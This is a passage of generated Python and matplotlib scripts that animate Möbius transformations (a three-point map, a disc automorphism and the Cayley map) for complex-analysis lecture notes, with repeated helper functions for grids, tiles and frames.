        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Three points: $T(z)=i\,\frac{z+1}{1-z}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 34.5, p. 178 (ch34:121); Example 34.7, p. 179 (ch34:165)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1j, 1j], [-1, 1]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-4, 4, -4, 4)
SUB = '$T(-1)=0,\\ T(0)=i,\\ T(1)=\\infty$: the real axis (green) goes to the imaginary axis'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-2, 2, 0.05, 2, 8, 4)
HILITE = [10, 21]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc automorphism: $\frac{z-\frac{1}{2}}{1-\frac{1}{2} z}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 34.8, p. 179 (ch34:187); the symmetry principle, p. 181 (ch34:336)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * ((z-0.5)/(1-0.5*z))
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-1.25, 1.25, -1.25, 1.25)
SUB = 'every point moves in a straight line from $z$ to $\\frac{z-1/2}{1-z/2}$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{z-1/2}{1-z/2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 0.999, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green')]
TRACK = (0.5+0j)

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc automorphism: $\frac{z-\frac{1}{2}}{1-\frac{1}{2} z}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 34.8, p. 179 (ch34:187); the symmetry principle, p. 181 (ch34:336)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1, -0.5], [-0.5, 1]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-1.25, 1.25, -1.25, 1.25)
SUB = 'the unit disc onto itself with $\\frac{1}{2}\\mapsto0$;\nthe unit circle (green) slides along itself'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 0.999, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc automorphism: $\frac{z-\frac{1}{2}}{1-\frac{1}{2} z}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 34.8, p. 179 (ch34:187); the symmetry principle, p. 181 (ch34:336)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1, -0.5], [-0.5, 1]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-1.25, 1.25, -1.25, 1.25)
SUB = 'the unit disc onto itself with $\\frac{1}{2}\\mapsto0$; the unit circle (green) slides along itself'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.0, 4, -3.141492653589793, 3.141492653589793, 12)
HILITE = [1, 26]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The Cayley map $\frac{z-i}{z+i}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 34.9 and Figure 34.1, p. 180 (ch34:232, 262)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
